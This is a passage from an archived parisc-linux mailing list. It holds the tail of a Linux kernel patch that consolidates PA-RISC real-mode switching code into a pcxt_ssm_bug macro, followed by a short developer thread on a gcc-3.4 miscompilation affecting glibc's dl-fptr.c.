 	/* Setup PDCE_PROC entry */
 	copy            %arg0,%r3
 #else
@@ -373,7 +355,7 @@ smp_slave_stext:
 
 	.procend
 #endif /* CONFIG_SMP */
-#ifndef __LP64__
+#ifndef CONFIG_64BIT
 	.data
 
 	.align	4
Index: arch/parisc/kernel/pacache.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/pacache.S,v
retrieving revision 1.17
diff -u -p -r1.17 pacache.S
--- arch/parisc/kernel/pacache.S	18 Apr 2005 05:52:31 -0000	1.17
+++ arch/parisc/kernel/pacache.S	27 Apr 2005 06:27:57 -0000
@@ -62,25 +62,10 @@ flush_tlb_all_local:
 	 * to happen in real mode with all interruptions disabled.
 	 */
 
-	/*
-	 * Once again, we do the rfi dance ... some day we need examine
-	 * all of our uses of this type of code and see what can be
-	 * consolidated.
-	 */
-
-	rsm		PSW_SM_I, %r19		/* relied upon translation! PA 2.0 Arch. F-5 */
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
+	pcxt_ssm_bug
 	
-	rsm		PSW_SM_Q, %r0		/* Turn off Q bit to load iia queue */
-	ldil		L%REAL_MODE_PSW, %r1
-	ldo		R%REAL_MODE_PSW(%r1), %r1
-	mtctl		%r1, %cr22
+	/* relied upon translation! PA 2.0 Arch. F-4 and F-5 */
+	rsm		PSW_SM_Q+PSW_SM_I, %r0	/* prep to load iia queue */
 	mtctl		%r0, %cr17		/* Clear IIASQ tail */
 	mtctl		%r0, %cr17		/* Clear IIASQ head */
 	ldil		L%PA(1f), %r1
@@ -88,6 +73,8 @@ flush_tlb_all_local:
 	mtctl		%r1, %cr18		/* IIAOQ head */
 	ldo		4(%r1), %r1
 	mtctl		%r1, %cr18		/* IIAOQ tail */
+	load32		REAL_MODE_PSW, %r1
+	mtctl		%r1, %cr22
 	rfi
 	nop
 
@@ -178,15 +165,14 @@ fdtonemiddle:					/* Loop if LOOP = 1 */
 	ADDIB>		-1, %r22, fdtoneloop	/* Outer loop count decr */
 	add		%r21, %r20, %r20	/* increment space */
 
-fdtdone:
 
-	/* Switch back to virtual mode */
+fdtdone:
+	/*
+	 * Switch back to virtual mode
+	 */
+	pcxt_ssm_bug
 
-	rsm		PSW_SM_Q, %r0		/* clear Q bit to load iia queue */
-	ldil		L%KERNEL_PSW, %r1
-	ldo		R%KERNEL_PSW(%r1), %r1
-	or		%r1, %r19, %r1		/* Set I bit if set on entry */
-	mtctl		%r1, %cr22
+	rsm		PSW_SM_Q+PSW_SM_I, %r0	/* prep to load iia queue */
 	mtctl		%r0, %cr17		/* Clear IIASQ tail */
 	mtctl		%r0, %cr17		/* Clear IIASQ head */
 	ldil		L%(2f), %r1
@@ -194,6 +180,9 @@ fdtdone:
 	mtctl		%r1, %cr18		/* IIAOQ head */
 	ldo		4(%r1), %r1
 	mtctl		%r1, %cr18		/* IIAOQ tail */
+	load32		KERNEL_PSW, %r1
+	or		%r1, %r19, %r1		/* Set I bit if set on entry */
+	mtctl		%r1, %cr22
 	rfi
 	nop
 
@@ -238,7 +227,7 @@ fioneloop:					/* Loop if LOOP = 1 */
 
 fisync:
 	sync
-	mtsm		%r22
+	mtsm		%r22			/* restore I-bit */
 	bv		%r0(%r2)
 	nop
 	.exit
@@ -281,7 +270,7 @@ fdoneloop:					/* Loop if LOOP = 1 */
 fdsync:
 	syncdma
 	sync
-	mtsm		%r22
+	mtsm		%r22			/* restore I-bit */
 	bv		%r0(%r2)
 	nop
 	.exit
@@ -1005,21 +994,12 @@ disable_sr_hashing_asm:
 	.callinfo NO_CALLS
 	.entry
 
-	/* Switch to real mode */
+	/*
+	 * Switch to real mode
+	 */
+	pcxt_ssm_bug
 
-	ssm		0, %r0			/* relied upon translation! */
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	
-	rsm		(PSW_SM_Q|PSW_SM_I), %r0 /* disable Q&I to load the iia queue */
-	ldil		L%REAL_MODE_PSW, %r1
-	ldo		R%REAL_MODE_PSW(%r1), %r1
-	mtctl		%r1, %cr22
+	rsm		PSW_SM_Q+PSW_SM_I, %r0	/* prep to load iia queue */
 	mtctl		%r0, %cr17		/* Clear IIASQ tail */
 	mtctl		%r0, %cr17		/* Clear IIASQ head */
 	ldil		L%PA(1f), %r1
@@ -1027,6 +1007,8 @@ disable_sr_hashing_asm:
 	mtctl		%r1, %cr18		/* IIAOQ head */
 	ldo		4(%r1), %r1
 	mtctl		%r1, %cr18		/* IIAOQ tail */
+	load32		REAL_MODE_PSW, %r1
+	mtctl		%r1, %cr22
 	rfi
 	nop
 
@@ -1065,13 +1047,10 @@ srdis_pa20:
 	.word		0x145c1840		/* mtdiag %r28, %dr2 */
 
 srdis_done:
-
 	/* Switch back to virtual mode */
+	pcxt_ssm_bug
 
-	rsm		PSW_SM_Q, %r0		/* clear Q bit to load iia queue */
-	ldil		L%KERNEL_PSW, %r1
-	ldo		R%KERNEL_PSW(%r1), %r1
-	mtctl		%r1, %cr22
+	rsm		PSW_SM_Q+PSW_SM_I, %r0	/* prep to load iia queue */
 	mtctl		%r0, %cr17		/* Clear IIASQ tail */
 	mtctl		%r0, %cr17		/* Clear IIASQ head */
 	ldil 	   	L%(2f), %r1
@@ -1079,6 +1058,8 @@ srdis_done:
 	mtctl		%r1, %cr18		/* IIAOQ head */
 	ldo		4(%r1), %r1
 	mtctl		%r1, %cr18		/* IIAOQ tail */
+	load32		KERNEL_PSW, %r1
+	mtctl		%r1, %cr22
 	rfi
 	nop
 
Index: arch/parisc/kernel/real2.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/real2.S,v
retrieving revision 1.17
diff -u -p -r1.17 real2.S
--- arch/parisc/kernel/real2.S	7 Jan 2005 21:14:33 -0000	1.17
+++ arch/parisc/kernel/real2.S	27 Apr 2005 06:27:57 -0000
@@ -147,17 +147,9 @@ restore_control_regs:
 	.text
 rfi_virt2real:
 	/* switch to real mode... */
-	ssm		0,0		/* See "relied upon translation" */
-	nop				/* PA 2.0 Arch. F-5 */
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
+	pcxt_ssm_bug
 	
-	rsm             (PSW_SM_Q|PSW_SM_I),%r0  /* disable Q & I bits to load iia queue */
+	rsm             PSW_SM_Q+PSW_SM_I,%r0  /* prep to load iia queue */
 	mtctl		%r0, %cr17	/* Clear IIASQ tail */
 	mtctl		%r0, %cr17	/* Clear IIASQ head */
 	load32		PA(rfi_v2r_1), %r1
@@ -184,17 +176,9 @@ rfi_v2r_1:
 	.text
 	.align 128
 rfi_real2virt:
-	ssm		0,0		/* See "relied upon translation" */
-	nop				/* PA 2.0 Arch. F-5 */
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	
-	rsm             PSW_SM_Q,%r0    /* disable Q bit to load iia queue */
+	pcxt_ssm_bug
+
+	rsm             PSW_SM_Q+PSW_SM_I,%r0    /* prep to load iia queue */
 	mtctl		%r0, %cr17	/* Clear IIASQ tail */
 	mtctl		%r0, %cr17	/* Clear IIASQ head */
 	load32		(rfi_r2v_1), %r1
Index: include/asm-parisc/assembly.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/assembly.h,v
retrieving revision 1.10
diff -u -p -r1.10 assembly.h
--- include/asm-parisc/assembly.h	4 Feb 2005 19:34:33 -0000	1.10
+++ include/asm-parisc/assembly.h	27 Apr 2005 06:27:59 -0000
@@ -450,5 +450,23 @@
 	REST_CR	(%cr22, PT_PSW	(\regs))
 	.endm
 
+#if defined(CONFIG_PA7000)
+	.macro	pcxt_ssm_bug
+	/* Create a "relied upon translation" PA 2.0 Arch. page F-4 and F-5
+	* The ssm is necessary due to a PCXT bug. Ie not needed for 64-bit.
+	*/
+	ssm	0,%r0
+	nop	/* 1 */
+	nop	/* 2 */
+	nop	/* 3 */
+	nop	/* 4 */
+	nop	/* 5 */
+	nop	/* 6 */
+	nop	/* 7 */
+	.endm
+#else
+#define pcxt_ssm_bug	/* Thank $DIETY. You don't have brain damaged HW. */
+#endif
+
 #endif /* __ASSEMBLY__ */
 #endif
Index: include/asm-parisc/psw.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/psw.h,v
retrieving revision 1.1
diff -u -p -r1.1 psw.h
--- include/asm-parisc/psw.h	29 Jul 2003 17:02:04 -0000	1.1
+++ include/asm-parisc/psw.h	27 Apr 2005 06:27:59 -0000
@@ -9,6 +9,16 @@
 #define	PSW_G	0x00000040	/* PA1.x only */
 #define PSW_O	0x00000080	/* PA2.0 only */
 
+/* ssm/rsm instructions number PSW_W and PSW_E differently */
+#define PSW_SM_I	PSW_I	/* Enable External Interrupts */
+#define PSW_SM_D	PSW_D
+#define PSW_SM_P	PSW_P
+#define PSW_SM_Q	PSW_Q	/* Enable Interrupt State Collection */
+#define PSW_SM_R	PSW_R	/* Enable Recover Counter Trap */
+#define PSW_SM_W	0x200	/* PA2.0 only : Enable Wide Mode */
+
+#define PSW_SM_QUIET	PSW_SM_R+PSW_SM_Q+PSW_SM_P+PSW_SM_D+PSW_SM_I
+
 #define PSW_CB	0x0000ff00
 
 #define	PSW_M	0x00010000
@@ -30,33 +40,21 @@
 #define	PSW_Z	0x40000000	/* PA1.x only */
 #define	PSW_Y	0x80000000	/* PA1.x only */
 
-#ifdef __LP64__
-#define PSW_HI_CB 0x000000ff    /* PA2.0 only */
+#ifdef CONFIG_64BIT
+#  define PSW_HI_CB 0x000000ff    /* PA2.0 only */
 #endif
 
-/* PSW bits to be used with ssm/rsm */
-#define PSW_SM_I        0x1
-#define PSW_SM_D        0x2
-#define PSW_SM_P        0x4
-#define PSW_SM_Q        0x8
-#define PSW_SM_R        0x10
-#define PSW_SM_F        0x20
-#define PSW_SM_G        0x40
-#define PSW_SM_O        0x80
-#define PSW_SM_E        0x100
-#define PSW_SM_W        0x200
-
-#ifdef __LP64__
-#  define USER_PSW      (PSW_C | PSW_Q | PSW_P | PSW_D | PSW_I)
-#  define KERNEL_PSW    (PSW_W | PSW_C | PSW_Q | PSW_P | PSW_D)
-#  define REAL_MODE_PSW (PSW_W | PSW_Q)
-#  define USER_PSW_MASK (PSW_W | PSW_T | PSW_N | PSW_X | PSW_B | PSW_V | PSW_CB)
-#  define USER_PSW_HI_MASK (PSW_HI_CB)
-#else
-#  define USER_PSW      (PSW_C | PSW_Q | PSW_P | PSW_D | PSW_I)
-#  define KERNEL_PSW    (PSW_C | PSW_Q | PSW_P | PSW_D)
-#  define REAL_MODE_PSW (PSW_Q)
-#  define USER_PSW_MASK (PSW_T | PSW_N | PSW_X | PSW_B | PSW_V | PSW_CB)
+#ifdef CONFIG_64BIT
+#  define USER_PSW_HI_MASK	PSW_HI_CB
+#  define WIDE_PSW		PSW_W
+#else 
+#  define WIDE_PSW		0
 #endif
+
+/* Used when setting up for rfi */
+#define KERNEL_PSW    (WIDE_PSW | PSW_C | PSW_Q | PSW_P | PSW_D)
+#define REAL_MODE_PSW (WIDE_PSW | PSW_Q)
+#define USER_PSW_MASK (WIDE_PSW | PSW_T | PSW_N | PSW_X | PSW_B | PSW_V | PSW_CB)
+#define USER_PSW      (PSW_C | PSW_Q | PSW_P | PSW_D | PSW_I)
 
 #endif
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc-3.3 vs. 3.4
Date: Wed, 27 Apr 2005 13:00:20 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20050427170020.GA496@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623766 14343 80.91.229.3 (22 Nov 2014 02:36:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Apr 2005 18:00:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 27 Apr 2005 20:00:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D868F7D68E;
	Wed, 27 Apr 2005 12:00:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25482-05; Wed, 27 Apr 2005 12:00:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C4F27D690;
	Wed, 27 Apr 2005 12:00:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 900EA7D68B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 12:00:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25189-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 12:00:28 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 031577D688
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 12:00:28 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DQptd-0008SA-00; Wed, 27 Apr 2005 13:00:21 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (81% Sync Ratio [========..])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EbYdYt9KeSE57L6WZHQhaXN2IGRvb4CW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22656


jda,

I just ran into a case in glibc, where compiling dl-fptr.c
(libc/sysdeps/generic/) with gcc-3.3 works, but gcc-3.4 doesn't. In
particular I believe gcc-3.4 was incorrectly aggressive with a branch
delay slot optimization and causes a load before the register is setup.

I only seem to see this case under certain compile options. To test my
theory I went back and manually compiled dl-fptr.c with gcc-3.3, while
the rest of glibc was compiled with gcc-3.4 and the two failures go away.

The failures are two static tests that call dlopen, which eventually
uses dl_make_fptr to construct the required OPD's. 

NOTE: dl_make_ftpr is actually compiled *into* the executable at this
point, since it's static and all the loader code is included.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3 vs. 3.4
Date: Wed, 27 Apr 2005 13:15:32 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20050427171532.GC496@baldric.uwo.ca>
References: <20050427170020.GA496@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623766 14348 80.91.229.3 (22 Nov 2014 02:36:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Apr 2005 18:15:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 27 Apr 2005 20:15:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 46F6C7D63F;
	Wed, 27 Apr 2005 12:15:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25503-09; Wed, 27 Apr 2005 12:15:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B89A77D694;
	Wed, 27 Apr 2005 12:15:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6B2347D633
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 12:15:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25482-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 12:15:38 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id CE8647D627
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 12:15:37 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DQq8L-00007O-00; Wed, 27 Apr 2005 13:15:33 -0400
Content-Disposition: inline
In-Reply-To: <20050427170020.GA496@baldric.uwo.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (81% Sync Ratio [========..])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: g7MdYvZqeSE57L6WZHQhaXN2IGRvbwCR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22657

On Wed, Apr 27, 2005 at 01:00:20PM -0400, Carlos O'Donell wrote:
> NOTE: dl_make_ftpr is actually compiled *into* the executable at this
> point, since it's static and all the loader code is included.

On second thought, I'm sure _dl_make_fptr from the dynamically loaded
ld.so.1 is being used. So I'm not quite sure what distinguishes this
case from any other, except that it crashes on the first call to
_dl_make_fptr.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3 vs. 3.4
Date: Wed, 27 Apr 2005 14:23:58 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200504271823.j3RINwTK000206@hiauly1.hia.nrc.ca>
References: <20050427171532.GC496@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623767 14349 80.91.229.3 (22 Nov 2014 02:36:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Apr 2005 18:24:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 27 Apr 2005 20:24:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ABEB87D69B;
	Wed, 27 Apr 2005 12:24:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25730-07; Wed, 27 Apr 2005 12:24:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B9B77D69F;
	Wed, 27 Apr 2005 12:24:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E3C7B7D69A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 12:24:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25816-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 12:24:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5D58D7D694
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 12:24:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j3RINwhF000207; Wed, 27 Apr 2005 14:23:59 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j3RINwTK000206;
	Wed, 27 Apr 2005 14:23:58 -0400 (EDT)
In-Reply-To: <20050427171532.GC496@baldric.uwo.ca> from "Carlos O'Donell" at
	Apr 27, 2005 01:15:32 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rb0dYgsOeSE57L6WZHQhaXN2IGRvb0Cb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22658

> On Wed, Apr 27, 2005 at 01:00:20PM -0400, Carlos O'Donell wrote:
> > NOTE: dl_make_ftpr is actually compiled *into* the executable at this
> > point, since it's static and all the loader code is included.
> 
> On second thought, I'm sure _dl_make_fptr from the dynamically loaded
> ld.so.1 is being used. So I'm not quite sure what distinguishes this
> case from any other, except that it crashes on the first call to
> _dl_make_fptr.

Do you have the macro fix installed?  There is a definition that's
only used in an asm that 3.4 deletes because it thinks it's not used.
I believe there is a warning.

If that's not the problem, can you send the precompiled source,
the compile command, and a note as to which code is miscompiled.

I probably won't be able to look at it until next week.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <andy@puszczka.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ssm/rsm sequences
Date: Wed, 27 Apr 2005 09:18:31 +0200 (CEST)
Lines: 39
Approved: news@gmane.org
Message-ID: <16467.193.160.141.5.1114586311.squirrel@www.puszczka.com>
References: <20050425165540.GD12325@colo.lackof.org>
	<200504251744.j3PHixu9015886@hiauly1.hia.nrc.ca>
	<20050427022925.GH2612@colo.lackof.org>
	<20050427052055.GJ2612@colo.lackof.org>
	<20050427065822.GK2612@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416623767 14351 80.91.229.3 (22 Nov 2014 02:36:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:07 +0000 (UTC)
Cc: rhirst@levanta.com,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Apr 2005 07:12:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 27 Apr 2005 09:12:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 70AEC7D67B;
	Wed, 27 Apr 2005 01:12:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
